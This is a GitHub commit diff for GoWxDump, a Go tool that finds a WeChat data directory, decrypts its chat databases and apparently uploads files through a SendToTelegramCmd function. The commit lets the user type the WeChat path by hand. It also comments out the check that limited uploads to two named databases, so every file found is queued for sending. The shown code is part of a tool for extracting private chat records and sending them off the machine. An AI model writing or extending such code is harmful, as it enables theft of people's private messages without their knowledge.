Skip to content

Commit 40efa7e

Browse files
committed
支持手动输入微信目录
1 parent 28b6083 commit 40efa7e

File tree

2 files changed

+24
-8
lines changed

2 files changed

+24
-8
lines changed

Release/GoWxDump.exe

-79.2 KB
Binary file not shown.

cmd_action.go

+24-8
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@ package main
22

33
import (
44
"GoWxDump/db"
5+
"bufio"
56
"fmt"
67
"os"
78
"path/filepath"
@@ -79,20 +80,35 @@ func DecryptCmd() {
7980
// 判断目录是否存在如果不存,要求用户从userDir中选择一个目录
8081
_, err = os.Stat(dataDir)
8182
if err != nil {
82-
fmt.Println("物资自动识别,请从下面选择一个目录")
83+
fmt.Println("无法自动识别,请从下面选择一个id,或手动输入完整路径")
8384
for k, v := range userDir {
8485
fmt.Printf("[%s]:%s \n", k, v)
8586
}
8687
var input string
8788
// 提示输入
8889
fmt.Print("请选择上述id中的一个:")
89-
fmt.Scanln(&input)
90+
reader := bufio.NewReader(os.Stdin)
91+
tInput, _, _ := reader.ReadLine()
92+
input = string(tInput)
9093
// 判断输入是否合法
9194
if _, ok := userDir[input]; !ok {
92-
fmt.Println("输入错误")
93-
return
95+
// 判断目录是否存在
96+
fmt.Println(input)
97+
_, err = os.Stat(input)
98+
if err != nil {
99+
fmt.Println("目录不存在")
100+
return
101+
}
102+
// 判断输入的目录中是否存在Msg目录
103+
_, err = os.Stat(filepath.Join(input, "Msg", "Multi"))
104+
if err != nil {
105+
fmt.Println("非微信目录")
106+
return
107+
}
108+
dataDir = input
109+
} else {
110+
dataDir = userDir[input]
94111
}
95-
dataDir = userDir[input]
96112
}
97113
fmt.Println("WeChat DataDir: ", dataDir)
98114
// 复制聊天记录文件到缓存目录dataDir + \Msg\Multi
@@ -178,9 +194,9 @@ func SendToTelegramCmd() {
178194
return nil
179195
}
180196
// 如果不是MicroMsg.db则跳过
181-
if info.Name() != "hello.db" && info.Name() != "word.db" {
182-
return nil
183-
}
197+
// if info.Name() != "hello.db" && info.Name() != "word.db" {
198+
// return nil
199+
// }
184200
if !info.IsDir() {
185201
fileList = append(fileList, path)
186202
}

0 commit comments

Comments
 (0)